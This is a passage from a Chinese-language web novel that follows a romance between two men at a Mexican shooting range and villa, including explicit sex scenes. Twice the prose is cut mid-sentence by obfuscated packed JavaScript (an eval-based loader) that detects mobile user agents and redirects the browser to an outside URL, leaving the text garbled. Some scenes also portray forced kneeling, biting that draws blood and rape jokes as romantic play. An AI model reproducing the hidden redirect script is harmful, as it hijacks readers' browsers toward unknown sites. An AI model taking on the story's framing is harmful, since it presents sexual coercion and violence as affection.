果汁儿应该和他一样,扔掉锁绳,尽情在旷野里奔跑才会开心。 如果何湛程高兴,他愿意随时陪少爷坐飞机去世界各地旅行,手痒了就来射击场打枪—— 不,他很快就可以拥有一把自己的枪了! 这才是他想要的生活。 戚时突然对过往的旧生活充满了怨恼和嫌弃。 整天待在棺材一样的办公室里和一群脂粉小生打交道像什么话? “上次我来,”何湛程笑,“老二说可以送我一把枪,我就选了这把。” “这是你的?”戚时挑眉,“你不是说用不惯么?” “我就喜欢这把,再用不惯我也喜欢。”何湛程一脸坦然,抓起护目镜和降噪耳机塞戚时怀里,说:“玩儿你的去。” 戚时飞快戴上耳机和护目镜,扭头好奇问:“那你是有执照了?” 何湛程抬两个食指,冲他比了个十。 戚时挑眉不解。 何湛程一脸认真打广告:“何氏集团总裁何棣坤手把手教,资深雇佣兵教官雷萨亲自陪练,十天下本,童叟无欺,价格优惠,不满意可以退款。” 戚时哈哈笑起来:“知道了。” 心情愉悦地转回头,笑容敛起,置身射击台,整个人庄肃起来,仿佛自己真的是个要上战场作战的兵。 戚时从桌上选了两排大小不一的枪,轮番装好弹匣瞄准远处的靶子,脚踩定点,开始正式射击。 空荡山谷里,接连不断地响起手枪“砰砰砰”和机关枪“突突突突”的喧嚣回声。 何湛程站在一旁,见他家总裁完全沉浸在自己的世界里,打枪换匣逐渐上瘾,子弹四散蹦得跟烟花一样,表情是压抑不住的亢奋,操纵起器械来也愈发熟练,每一款枪型都爱不释手,还怪可爱的。 何湛程掏出手机,转头冲雷萨晃了两晃:“我可以给他拍几张照吗?” 雷萨点头:“可以,但是不能外传或者发在互联网上。” 何湛程一笑:“这个我知道。” 举起手机镜头,对着模拟激烈作战的戚某人咔咔咔拍了十来张,又趁雷萨不注意,飞快帮人录了个五六秒的视频。 雷萨发现后皱了下眉。 何湛程冲人笑嘻嘻;“别这么小气,我今天都请你吃早餐了,你难道不应该报答我一下吗?” 雷萨:“……” 这姓何的两兄弟,真是叫人头疼! 雷萨平时跟何棣坤常来往,虽然中文一直说不利落,但是听懂没问题,他知道刚才何湛程要把自己的沙|漠之鹰送给恋人,于是好奇地问:“原来你那把枪是要送给他吗?你们早就认识了吗?” 何湛程嘴角一勾,说:“你猜。” 雷萨困惑地挠了挠头,说:“我不知道,我只记得你刚来的时候,坤说你是单身,还让我介绍兄弟给你呢。” 何湛程轻哼一声:“我现在也是单身。” 只是当初何老二让他选枪的时候,他发自内心地选了这把唯一弄痛过他的枪。 让他痛了,他才会有感觉。 有感觉了,他才会在意。 别的枪、别的人,碰过再多,使用再熟练,他内心毫无波澜,也只觉得不过如此。 一轮红日升至中天,戚时精神旺盛,扛枪持续猛干了五小时,身上都起了一层薄汗,终于过足了瘾。 他一撂下枪,飞速闪身蹭地少爷身边,激动开心到语无伦次,但长篇大论不出什么心得体会,于是两手一攥拳,冲人大声吼:“爽!” 何湛程一笑,将自己喝过半瓶的水递给戚时:“你跟了我,我让你天天爽。” 戚时不自觉想歪了,耳根一红,扭头喝水去了。 何湛程让雷萨先帮戚时将那把枪收好,又说,他和戚时下午要去附近海域潜水,需要雷萨他们帮忙备好游艇和两套潜水设备。 “OK,”雷萨收起枪,问道,“你们现在要吃午饭吗,我们基地食堂里有单独的餐厅。” 何湛程伸手扯了下戚时衣袖:“你饿吗?” 戚时拧着水瓶盖:“不饿。” 何湛程就让雷萨开车把他们送到去靶场外的山谷。 说是山,海拔在300米左右,漫山遍野的绿地,丘峦起伏,空气清冽,几条绕着山脚的溪流蜿蜒汇入湖泊,每座山头都设置一座十平米左右的瞭望台据点,由所辖ZF军把守。 何湛程无意惹事,等雷萨走了,和戚时手牵着手,二人漫步在山野谷地,有一搭没一搭地闲聊。 干净鞋底踩在柔软草地,何湛程嘴角微扬着,听身旁人不住唏嘘感慨,说这次到墨西哥可算是没白来,他要是每天都过成这样就好了! 何湛程试探问:“如果你想,这也没什么不能的吧?” 戚时长叹一声:“是啊,但是我一个人天天这么过也没什么意思。” 何湛程笑:“那就和我过呗,反正你也不喜欢现在国内的生活,我带你去纽约吧,我在曼哈顿有套房,回头我继续去哥大上学,你给我当陪读兼司机,咱俩一起住,我靠自己也能赚钱养你。” 戚时不乐意:“怎么是我跟你去纽约,不是你跟我回燕京?” 何湛程挽住他胳膊,歪头靠在他肩膀撒娇:“二哥,跟我走吧,你不是想要自由吗,我可以给你。” 戚时鼻孔朝天不屑嗤一声:“真跟你去了纽约,老子连句英文都说不利落,我自不自由不知道,反正你是能随便处置我了,想得美,不去!” “呵呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432597|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 何湛程阴沉地笑起来。 好一个不识相的狗男人,他昨晚想了一整个通宵,才终于下定决心继续回美国去过原来一成不变的生活,本想着有戚时陪在他身边,他的世界就会变得不一样,没料到这狗男人完全不在乎,还一副瞧不起他的蔑视态度? 呵呵,就这,他还包养个屁! 他现在想把人踹海里喂鲨鱼的心都有了!! 戚时毫无察觉,伸手指点了点何湛程的眉心,警告道:“你别想着在老子这儿选妃,我今晚就走,到底跟不跟我回燕京,你尽快考虑清楚。” 何湛程抬眼望他:“今晚一定要走么?” 戚时昂首挺胸:“当然!” “那今晚你不干我了?” 戚时:“……” 险些脱口而出一句“当然要!”,戚时激动得心脏狂跳,沉眉肃声道:“干完你再走。” 何湛程笑容嫣然,一个闪身横到戚时面前,手指重重戳上对方的胸膛,一字一顿道:“你、也、想、得、美!” 戚时眉头一锁,立刻紧攥住他手指,盯着他:“你昨天答应过我了,不能说话不算数。” 何湛程笑得无赖:“昨天是昨天,今天是今天,这世界万物都是瞬息万变的,昨天的我也不是今天的我,所以昨天的话,今天也不能算数。” 戚时磨着牙笑了:“何湛程,你给老子玩儿这套是吧?” 何湛程无所畏惧地挑衅:“我就这么玩儿,有本事你就打我啊!” 戚时深眸一沉,倏地攥紧他手腕,欺身压上,干糙嘴唇暧昧地蹭着怀里人泛着丝丝凉意的耳廓,在人耳畔恶笑低语:“程儿,你这么欠操,二哥才舍不得打你呢,我疼你还来不及呢。” 何湛程瞬间惊起一身鸡皮疙瘩,头发都吓得翘起来了。 毕竟比人家少活七年,他有点招架不住这个老变态。 忍不住缩了缩脖子,冲人干笑几声,卖乖道:“二哥,痒。” “别痒啊,”戚时将额头抵在他鬓角,刻意卖弄着烟嗓,与怀里某只试图挣扎逃跑的兔崽子低笑调情:“这才到哪儿啊,二哥还没把你操得下不来床呢,你小子当初那么整老子,当我没脾气呢,嗯?” 兔崽子缩成一团,连忙举手投降:“我错了!真错了!我认输!” 戚时冷哼一声,正准备撒手放人一马,不经意瞥见对方雪白细嫩的脸庞,猛地又饿狼扑食一样在人脸蛋上狠狠咬了两口,何湛程吃痛一叫,眼见着下一秒就要恼了,戚时才慢吞吞将人松开。 何湛程揉着脸擦口水,皱眉瞪他:“你发什么疯!” 戚时心虚清咳一声,两手插兜,别过脸朝向一边:“老子乐意!” 何湛程愤声问:“那你确定不跟我走了?” 戚时纳闷挑眉:“咱俩啥关系啊,就让我抛下一切跟你走?你咋不跟我走?” 何湛程气得蹭一下蹲地上,弯腰两手一抓,挖起两块绿油油的草皮就砸人脸上,恨声喊:“是!我们没关系,一点关系都没有!从一开始你就是这种扫兴又没劲的傻逼!小肚鸡肠又瞻前顾后的中老年人!你是早泄的乌龟!阳|痿的鸵鸟蛋!你当本少爷稀罕你这种晚年迟暮的残次品呢?!还跟你回燕京?艹!你又算哪盘儿菜?干你一回你都得趴在床上缓半天,气虚又没用,像你这种中看不中用的王八蛋,你就算是送上门来,本少爷还要嫌你皮松呢!!!” 猝不及防被劈头盖脸砸满脸泥土的戚时:“……” 不跟他计较,这突然对他又打又骂的干嘛? 还骂得这么脏。 一脸镇定地抹了把脸,戚时勾指拂掉挂在鼻梁上的几根草,盯他:“闹够没。” 何湛程瞪他:“没有!” “行。”戚时妥协般点点头。 何湛程微愣,正疑惑这人咋突然这么好脾气了,就见戚时暗沉着眼眸,将他仔仔细细上下打量起来。 接着,面无表情地活动着脖子抻了两下胳膊,迈着一米好几的大长腿朝自己走来。 何湛程以为这狗男人被触怒后又要强吻他什么的,连忙闭紧嘴,一副态度坚决宁死不屈的样子,没料对方停在他面前,冷不丁身子矮下半截,蓦然抡出右臂,一把收拢住了他双膝。 何湛程还没反应过来,戚时霍地起身,将他整个人扛在右肩,浑身寒气四溢,扛着他大步往山谷外走。 何湛程懵了,扭头问:“你干什么?!” “没看出来么,”戚时重重“啪”的一巴掌扇上他屁股:“不去潜水了,潜你。” 45.第45章 直到雷萨将直升机降落在别墅天台,何湛程懵懵的,一路被戚某兽钳制在怀里,还当对方刚才那话是玩笑话。 戚时在岛屿上语言不通,没他当翻译发布指令,戚时根本回不到陆地上,这也是他为什么今天带戚时来小岛上的原因—— 他就是要将人一整天都困在这里,只有晚上赶不上飞机,戚时就走不了。 没料到戚时居然请求外援,一边大步流星扛着他返回靶场,另一手掏手机给何老二打电话,让老二通知雷萨开直升机给他们送回来。 何老二正在忙事,接到电话后,问都没问就同意了。 何老二居然就这么把他给卖了?!! 何湛程痛心疾首。 在这个世界上,难道就没有他何湛程可以信任的人了吗? 头顶螺旋桨袭来强劲大风,轰隆隆噪音震耳欲聋,戚时弯腰起身,抱着何湛程出舱门,顺手在人屁股上狠狠拧了两把,笑容温柔又邪恶:“程儿,到了,准备好受死了么?” 然后拦腰抱着他下飞机。 何湛程两眼一黑,吓得魂飞魄散,四肢拼命挣扎着,忽地灵机一动,双腿唰一下绷得笔直,借助身高优势,用自己一米八四的身躯横挡在门口,不让戚时下飞机。 同时扭头去瞪雷萨:“你就这么眼睁睁看着我被他强|暴,然后见死不救吗!” 雷萨无奈一笑,摇了摇头。 “我倒觉得,你是乐在其中。” 何湛程:“???!!!” 谁乐在其中了?! 谁能被戚时这种除了脸帅、腿长、身材好、低音炮、业务能力强、名下房产豪车无数、身价几百亿、偶尔会很温柔地照顾人之外一无是处的禽兽强|暴还会乐在其中啊?! 没曾想戚时今天格外聪明,何湛程直挺着身子,左头右脚横挡着舱门,戚时就抱着他换成了头朝外、脚朝里的姿势,一如长杆破洞,轻轻松松就穿过了。 眼见进了楼就离死期不远了,何湛连忙搂上戚时脖子服软,焦急地叫嚷着:“二哥!二哥我错了,我真的知道错了!你放了我吧,我再也不拿土扔你了!真的!我是喜欢你才扔你的,别人想让我扔,我还不扔呢!” 戚时按电梯下楼,冷声冷气道:“别叫我‘二哥’,像我这种气虚早泄的迟暮老人家,哪里配做你年轻貌美何三少的二哥?” 何湛程忙道:“我开玩笑的!开玩笑你都听不出来吗?!” 戚时无动于衷:“如果我觉得不好笑,那这就不是玩笑。” 何湛程举手发誓:“那我不说了!我以后再也不说了!” 电梯门开,戚时抱着他迈进三楼走廊,偏脸淡淡瞥他一眼: “以后是以后,现在是现在,这世上的一切都变化得太快,以后你说不说,那是你的事,但现在罚不罚你,是我的事。” 何湛程:“…………” 猛地扭头,急哄哄冲坐在楼下悠闲喝下午茶的白发老者求救:“安德森!安德森!你快救我!” 安德森扶了扶他的老花镜,抬头一望,见楼上一对俊秀恋人,正亲密无间地打情骂俏,不禁面露慈祥微笑。 他放下茶杯,慢条斯理地站起身,冲正在楼下打扫卫生的女佣们招了招手,带着众人一齐都退了出去。 还非常贴心地把整栋楼的大门关严实了。 何湛程气得要厥过去了。 戚时倏地收紧揽在他后背和膝窝间的手臂,低喝:“老实点儿,要叫就在床上叫!” 何湛程瞪他:“我考虑好了,我不跟你走!” “晚了。” 戚时熟练按下密码,一脚行云流水踹进门,抱着人往浴室走。 何湛程双脚一落地,马不停蹄就卷着风火轮又要跑。 戚时打开莲蓬头试水温,另一手稳准狠掐着人后颈,毫不费力将何湛程逮回来,命令道:“衣服脱了。” 何湛程抱臂一偏头,装听不见。 戚时嗤笑:“怎么,不想脱,是因为想让我亲手帮你撕了?就像你上次对我那样?” 何湛程无可奈何,挥手一把将上衣掀掉,毫不客气甩对方脸上,不满道:“我早上刚洗过,又让我洗,你嫌我脏,我还嫌你当过别人的未婚夫呢!” 戚时强压着火气,抓下蒙在脸上的上衣,挥臂扔去一边,眯眼盯他:“裤子呢?裤子就不是衣服么?” 何湛程一脸认真:“狭义上来说,不是。” 戚时一动不动地盯着他。 场面僵持几秒,直到戚时要过来要亲自动手,何湛程才吓得忙弯腰脱裤子。 是条宽松的牛仔裤,缓缓褪下后,在狭窄的二人空间暴露出一双冷白笔直的长腿。 何湛程赤脚站在海蓝马赛克地板上,两侧突出的脚踝骨很漂亮,浴室雪亮的照明灯刺出寒凛的光,他冻得身上发冷,忍不住蜷着身子往戚时怀里靠了靠。 “内裤。”戚时紧了紧喉咙,眼神逐渐灼热起来。 “……”何湛程一声不吭,老实脱了。 脱了,然后丢在了戚时脚边。 像示威,更像在勾引。 戚时唇角微微一勾,他被何湛程这个动作取悦到了。 抬脚踩上,戚时微微倾身,鼻尖压上对方的鼻尖,呼吸与人交融,步步紧逼。 他沉眸打量着少年开始躲闪的眼,看少年变得薄红的脸,不动声色地抬臂揽住对方的腰,眸底暗流汹涌。 何湛程被人撩拨得情动,以为戚时要吻他,缓缓闭上了眼。 戚时却忽地一抬手,放大莲蓬头水流,下一秒,暴雨般的温水哗啦啦从二人头顶浇下,将赤|裸与不赤|裸的他与他彻底湿透。 何湛程吓一跳,一抹脸,慌忙睁眼。 戚时抬手,安抚般替他理了理湿漉漉的鬓角,又说:“别躲,过来,帮我也脱了。” 氛围到了,侍候反而成为一种情趣,何湛程红着耳根,指尖顺从滑下,捏住戚时腰间T恤的两侧下摆,低声说:“那、那你抬一下手。” 戚时配合地抬起双臂,视线一刻不停地盯着身前羞赧的少年,心潮激荡起伏,任对方帮自己脱掉黏在身上的T恤。 裤子是条迷彩长裤,何湛程又开始帮他解皮带 戚时命令:“蹲下解。” 何湛程脸更红,听话地蹲下解。 余光瞄了眼对方黑色的子弹头内裤,他埋头帮人褪下长裤,说:“抬腿。” 戚时两三下踢掉了鞋,抬腿迈出,说:“继续。” 何湛程浑身腾地烧起来。 强作镇定屏住呼吸,双手帮人一点点拉下……每次见都不禁令人咂舌的尺寸,还没来得及发表什么意见,头顶人毫无预兆地摁住了他的头。 何湛程一愣。 头顶人手臂灌力,“砰”地一声,将他摁得跪在地上,说:“继续。” 膝盖骨砸上湿淋淋的硬地板,那受刑一般的痛楚深入到骨髓,何湛程不敢置信仰脸望着戚时,震惊到瞳孔无限放大:“你他妈干什么?” 他纵使有错,也错不至此吧? 他何湛程在外风流多年,从来都是别人争先恐后地伺候他,他什么时候给别人做过这种脏事儿!! 戚老二哪来的自信? 这人也太看得起自己了吧?! 戚时晦暗神色隐没在蒸腾起的水雾里,问他:“你是不是没给别人做过这种事?” “废话!”何湛程怒上心头,忍痛蹭地一下站起身,恶狠狠瞪他:“我警告你,你别太把自己当回事了!” 其实如果对象是戚时,他并非不愿意做,只是这狼心狗肺的畜生居然敢这么粗暴地对待他,他没抡拳头砸烂这人的脑袋都觉得自己太深情了! 戚老二当他何湛程是什么? 总裁胯|下万千分之一的玩物么? 何湛程眼底闪过一丝受伤,猛地大力将人一把推开,转身推门就往外走。 “自作多情的神经病,趁早滚回你的京城,死了都跟我没关系!” “我从没和任何人订过婚,从没送出过任何一枚戒指,更不是谁的未婚夫,你以后也少给老子乱扣帽子。” 正要离开,身后人突然解释一句。 何湛程脚步一顿。 “还有,”那人似乎在凝视着他的背影,“除你之外,我没和任何人接过吻。” 何湛程霍然转身,眼睛瞪得老大,诧异的说不出话来。 戚老二……这人怎么回事? 既然这么看重接吻的话,他第一次亲过去的时候,这人怎么没拒绝他? 一个不习惯接吻的人,被强吻那一瞬间的条件反射难道不应该是先拒绝么? 花洒还在淋着水,戚时站在原地没动,内裤半褪不脱,本该是很滑稽的一个场面,但挂在对方犹如希腊雕塑般的身躯上,就被赋予了一种极致的诱惑与性感。 何湛程情不自禁吞了吞口水。 他承认,他爱这个坏男人的身体要更多一些。 戚时与他四目对视:“要么帮我穿上,要么帮我脱了,你自己选一个。” 何湛程望着他,犹豫片刻,嘴唇蠕动几下。 戚时点头,给了他一个确定的回复。 何湛程紧张地深呼吸两口气,在对方愈发炽热狂躁眼神注视下,重新迈腿踏了进去,转身关上了门。 “从今往后,你心里只准有我一个。” “当然。 膝盖缓缓跪在水里,何湛程闭上眼,觉得自己一定是疯了才会这样任 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窗外风景虽好,被他糟蹋得浑身乏力软成一团水的裸*身少年更令人着迷。 摧残归摧残,到底不忍心人冻坏。 把人惹哭了还能哄,冻坏了人的身子就不好玩了。 戚时朝床边走去,瞥一眼裹着浴巾趴在床头、目前只能用吸管喝水的人,眼神一暗。 然后不动声色地收起放在果盘里的瑞士弯刀、床柜上的摩洛哥风镂空金属架台灯、又清理掉摆在墙架的四个彩陶罐、装饰风景画旁的、两斤重的黑铁船锚,再然后—— 安全感满满地坐在了何湛程身旁。 何湛程疲倦地眯着眼,喉咙痛得几欲生裂,正叼着根黄色的塑料吸管喝水。 刚才戚时本来要给他热杯牛奶,何湛程说如果戚时再敢让他喝奶,他就尿他脸上,某个喜欢给他当爹的人这才给他换了水。 一只手按上他腰,身旁男人的嘴唇贴过来,低声问:“歇好了么?” 何湛程眼皮都懒得抬一下,说:“滚。” 他今天已经给足戚老二面子了,现在,这禽兽如果再敢动他,他非得把人剐了不可。 禽兽不知死活地倾身压上他肩,下面手指一勾,把他浴巾解了。 何湛程脸黑了。 戚时没脸没皮地蹭过来,低头凑在他颈窝到处嗅着,粗糙指腹抚上他胸膛沟壑,缓缓往下划去。 他低笑:“程儿,你刚才……真好。” 何湛程被人撩得心一软,轻哼一声。 无数次的破例,从未有过的卑微与挽留,宠溺、爱憎、牵挂,恨不得倾尽一切去赠予这个他唯一当恋人对待的情人,将人惯得无法无天,他能不好么? “程儿。” 何湛程鼻音发出一声“嗯”来。 “我呢?”戚时埋头钻他怀里,讨好地拱了拱,“你觉得我好么?” 何湛程不客气道:“你不好,你坏。” 戚时不满意地哼一声。 何湛程咬着吸管,“吱溜”吸尽杯底最后一口水,随口赶人:“我想睡觉了,你出去吧。” 戚时深眸一沉,突然手上使劲,将人扑倒,长腿一迈,跨坐在何湛程腰间。 何湛程:“……” 戚时一套动作行云流水,左手熟练抄起身下人的膝窝,猛地一抬,扣在自己腰间,另一手掐上对方脖子,将人摁得死死的。 何湛程被禁锢,不免恼火起来,拧眉瞪他:“你别太过分了!” “我好像说过无数遍了,”戚时沉声道,“别把我当做给你侍寝的妃子!” 何湛程气得两眼翻白:“TMD我累了想休息一会儿都不行?” “不行,”戚时开始耍无赖:“你刚才说了,要我帮你换个别的。” 何湛程奋力挣扎,伸脚踹他:“现在我又不想了!滚开!” 戚时眼疾手快,一把攥住他这条腿,抗在肩上。 “艹!”整个下身内里……彻底暴露在对方眼底,何湛程臊得满脸发窘。 他这个姿势跟男妓有什么区别?! “程儿,你脸红起来真好看。” 戚时心跳砰砰,他偏过头,握着何湛程的脚踝吻了吻。 接着,那吻逐渐绵延入里,纵深而进。 …… …… 戚时俯身侵吞下来。 抗在肩上的那条腿,后脚跟沿着他肩膀滑下,悬在他脊背,脚趾全蜷起成一团。 “程儿,叫我。” “傻、傻逼!” “嗯,看来我们程儿还不够疼……” 46.第46章 晚间,客厅。 穹顶悬挂的欧式水晶吊灯散出奢华的柔光,米白色墙壁前,一座半岛型厨台,浅褐流云纹大理石桌面,摆着橘子、香蕉和牛油果,角落黑釉盆栽茁壮生长着两株天堂鸟。 何棣坤嘴里叼着根烟,左手拿着香槟和威士忌,另一手捏着两个玻璃酒杯,朝餐台走来。 安德森端来酱牛肉、烤羊排、香肠和凉拌菜。 噗呲一声,火光跃动。 戚时燃上支烟,一口猛吸进肺,夹烟的手指随意搭在烟灰缸旁,他惬意地眯起了眼,深邃眸底蕴藏无限笑意,似乎……还有几分事后的意犹未尽。 何棣坤推一杯威士忌过来,两人默契地碰了下杯,趁着楼上少爷在睡觉,凑在一起吃饭喝酒、吞云吐雾。 何棣坤夹一筷子酱牛肉塞嘴里,问着:“明天呢?你骗他今晚走,他才这么赶鸭子上架,明天等他醒了,你打算怎么跟他交代?” 戚时缓缓喷出一口烟,不以为然地笑:“我和他已经是这种关系了,有什么好交代的?” 何棣坤哈哈笑两声。 “他一定会整死你的。” “不会,我们已经说好在一起了。” “是么?”何棣坤慵懒一笑,饶有兴致地望向戚时头上缠着医用绷带。 初见时,戚时脸上残留着几道玻璃划痕的细血痂,这几天才刚好了,现在右额角又洇出新鲜血的淡红,不晓得脑袋被什么东西给砸破了。 何棣坤抬筷子一指,笑容可掬:“那这个呢?怎么弄的?” 戚时脸上闪过几分不自然的尴尬,清咳一声,别过脸端杯喝酒。 “我自己不小心撞的。” 何棣坤不怀好意地笑,显然不信。 戚时避开人眼神,他才懒得跟何老二解释他和他弟弟床笫之间的事。 虽然说好在一起了,但没想到何湛程比他还嘴硬—— 少爷说,只和他是床|伴关系。 戚时并不是特别介意,他会自动将这句话归结为:他们是一对关系隐晦的恋人。 程儿的脾气确实有点大,又犟又难治,戚时承认,他在听到程儿那句完整的“好,但我可以去操*别人”之后,立刻被激得怒不可遏,动作也残暴起来。 程儿似乎还是个小孩,没事就爱戏弄人,戚时知道对方在故意逗他,可他就是一个会因为别人不负责的玩闹话而变得很没安全感的胆小鬼。 他没安全感,他就伏在那人身上,贪婪无尽地索取。 他怀抱着程儿颤颤发抖的身躯,听怀里人气若游丝的呻*吟,吻着程儿被自己*时眼尾流下的泪,他才会觉得赢的人是他。 程儿一开始觉得很好玩儿,蛇一样盘缠着他身躯与他*,那人是个欢脱明媚的性子,并不吝于取悦他,嗯嗯啊啊的,叫得又骚又动听,但很快,那人就意识到他是真的在生气。 他把人做得遍体鳞伤,让那骄矜的少爷疼得哭都哭不出来,他不听话的程儿逐渐像一只新出生的雪白老鼠,通体泛着红,拖着湿哒哒的小尾巴,一个劲儿地躲,绕着床乱爬。 戚时简直无法用言语来描述那副活色生香的yin|靡场景,他不自禁欲|火焚身,一把将人捞怀里猛亲,恨不得连人带骨头都吞吃进腹。 他想,如果他吃掉程儿,他就能将这个人彻底占为己有了。 于是他就露出獠牙,两眼通红地低吼着,一寸又一寸叼住那人的肉,发狠地咬。 程儿被惹恼了,痛叫着,求饶着,没完没了地骂他。 他或许有病,人家越骂他,他就越爱人家,也许这就是色令智昏,可他不在乎,他早已为这个人疯魔了! 他憎恨这个人的多情,又倾慕这人举手投足间流露出的风流倜傥,可如果这人不曾经历过风月,自己又怎会为这样一个他而如痴如狂地着迷? 齿间咬出血来,他沉浸在自己的爱恨之中,完全听不见对方说什么。 何湛程逃无可逃,猛地抄手拿起床头玻璃水杯砸他头上,刹那间,一泻鲜血直迸,戚时登时僵化在原地,看殷红的液体从自己额角汩汩淌下,滴滴答答,流进他和何湛程火热交|缠着的身体上。 何湛程愤愤骂他一句“活该!”,匆匆忙忙爬起身,跑去里屋拿药箱。 戚时倒在床上一阵眩晕。 他也想不明白,为什么每一次,不管是挨操还是操人,受伤的总是他? 他昏昏沉沉地靠在那人怀里,何湛程骂骂咧咧地给他上药,温凉手指擦过他额头,身体里弥漫的香味完全包裹着他,很舒服。 他忍不住去握住那手,又被人一巴掌打掉。 “老实点儿,别动!” 那人小心翼翼地帮他缠着绷带,一圈、又一圈,他眼睛一眨不眨地望着那人,不知怎么就掉眼泪了。 何湛程咒骂声一停,一副提心吊胆的紧张神色,问他怎么了? 他没好意思说,上次何湛程也这样缠绷带蒙住了他眼睛,把他胡乱折腾一顿后,转眼就没踪影了。 也没好意思说,他其实很怕这个花花蝴蝶一样的人再次蒙住他眼睛,又一次消失不见了。 他费尽周折追到天涯海角,在语言不通的异国他乡,一家家酒吧、夜店,一家家游戏厅、高档酒店挨个推门进去找。 他有点害怕,害怕撞见何湛程和别的人在亲热、上床,他一边紧张地暗自祈祷千万不要让他遇见这场景,一边又忍不住自我安慰:就算撞见又怎样,他有的是手段将这匹浪荡的野马囚|禁在他身边。 他心里浮起无限委屈,就回了对方一句“好疼”。 何湛程没吭声,过了会儿,那人搂着他入睡,才闷闷地凑在他耳边说了句“对不起啊”。 那句“对不起啊”,比之前对他脱口而出的“我爱你”,要深情动听得多。 所以—— 戚时夹烟的手端起威士忌杯,与对面何棣坤激荡一碰,得意地笑起来。 他知道,他的程儿也爱上了他。 一连数天,彻底越过最后一道防线的他与他,就只剩下昼夜不休的暧昧缠绵。 为防止被何老二逮住进行恶趣味人身攻击,何湛程这些天故意绕开跟对方碰面的时间。 好在何棣坤最近比较忙,早出晚归的,夜里回来了,就拉上戚时一块儿在楼下客厅抽烟喝酒东拉西扯地聊,那俩人都不会让他下楼吸二手烟,何湛程只需早上多睡俩小时懒觉,晚上提前回去房间,就能避开跟何老二同桌吃饭。 转眼就到了五月。 这晚凌晨三点多,窗外夜幕繁星点点,二人刚激战完,低声喘息着,又接了一场漫长的吻。 完事后,何湛程嫌被窝里黏湿湿的难受,戚时立马爬起来去洗澡,换了套清爽的白T恤大裤衩,手里拧着条湿浴巾,走过来帮瘫在床上懒得动的人擦身子。 何湛程不老实,平时总喜欢踩他肩膀,这次直接抬脚踩上了他脸。 弯月般的足弓,清透的脚掌心,雪白脚踝萦绕一缕香气,在面前这张俊美无俦的绝世容颜上踩来踩去,嘻嘻笑闹着,玩得很开心。 戚时也不生气,轻轻一偏头,张嘴就叼住他脚趾,湿漉的舌尖勾挑舔舐,半含进口中。 何湛程被撩得心脏狂跳,臊得脑颅冒烟。 戚时一副高大身躯蹲着他身下,浓眉飞扬,唇红齿白,深刻如刀凿般的五官尽显疏狂,浑身痞气,眸底七分深情三分挑逗,望着他宠溺地笑。 何湛程老脸一红,火速抽回脚丫子。 “变态!” 戚时笑声爽朗,将人抱到沙发上,动作熟稔地换下新被罩和床单,然后揣宝贝似的,揣着他的小宝贝一块儿躺进被窝里。 “程儿,”戚时忍不住俯身凑近,亲了亲对方嘴角,“乖程儿。” 何湛程皱皱鼻子,嗅着戚时洗完澡后仍弥留在身上的淡淡烟草味,好奇地问他每天都在楼下和何老二在聊什么? 戚时面不改色地说,都是些生意上的事,何棣坤在做海外市场这块儿是行家,平时交游广泛,能接触到许多第一手的资源,他跟何棣坤接触下来收获不少,也想着等回国后拓展海外业务呢。 何湛程“哦”了声,问:“那你想干哪行?” 戚时埋在人颈窝里吸香气,随口道:“根据擎荣最近几年的战略部署,大概会做手游,技术部门两年前就提过类似方案,我还专门派了团队去海外做调研,不过当时我根基不稳,生意场上认识的人也不多,只能一切方案优先紧着国内的办,加上集团里杂七杂八的成分,这事儿后来就黄了。” 何湛程笑:“笨蛋,我问你想干哪行,没问你家集团的战略。” 戚时一个劲儿拱头蹭着他胸膛,胡乱答着:“哪行都不想干,只想干你。” 何湛程哼一声:“那你又不跟我回纽约。” 戚时一笑,学着他也哼一声:“那你又不跟我回燕京。” 何湛程就觉得戚时比小学生还要幼稚。 他不想跟戚小学鸡拌这种无意义的嘴,但也不想让戚时觉得他太容易得手,于是话题就此止住,没再和人深聊。 早上,戚时去海边晨跑,何湛程闲闲倚着露台栏杆,手里摇着杯红酒,另一手打电话联系佟校长,问对方要一间单人单间的宿舍和专属停车位,说准备下半年去燕京大学上课。 佟老头连声应好,不多时,传来几套自称是燕大最豪华私人单间,说这些都是专供留学生的宿舍,问他想选哪个? 何湛程嫌屋太小,他在这种破杉木家具堆积、空间拥挤的老鼠窝里学习会憋屈死的,问人有没有大点儿的房子,佟老头又发给他一组照片。 在燕京大学旁黄金路段,离校不到十分钟的高档学区房,一套二百来平的精装大平层,全智能家具,采光好、通风畅快,令人一瞧就心旷神怡。 佟老头说,这是他的私人房产,留给外孙上燕大附中用的,但外孙现在刚进幼儿园,且等呢,目前这房子有专门代理在打理,很干净,何湛程不想住宿舍的话,可以搬去那边住。 然后推过来房产代理的联系方式。 何湛程终于舒服了:“谢谢佟叔叔。” 佟叔叔笑着打趣他:“转性了?怎么突然就想来上学了?” 何湛程猛地仰头,将杯中猩红液体一饮而尽,酒气冲天地对电话洪声发愿:“因为我不想再虚度光阴了!我决定要努力学习,报效祖国!” 佟叔叔情绪被调动起来,激动道:“好孩子!有志气!” 有志气的好孩子挂掉电话,满身青紫吻痕,打着哈欠回里屋,一头扎进新铺好的柔软大床上补觉去了。 *** 沿海岸公路旁,两排整齐的棕榈树摇晃着,清晨一轮红日从海平面升起,淡淡咸湿的海风拂过面颊,吹得人神清气爽。 戚时刚结束一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449654|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场二十公里的长跑,满身淋漓着大汗,路过商店,操着一口塑料英语,买了瓶电解质水。 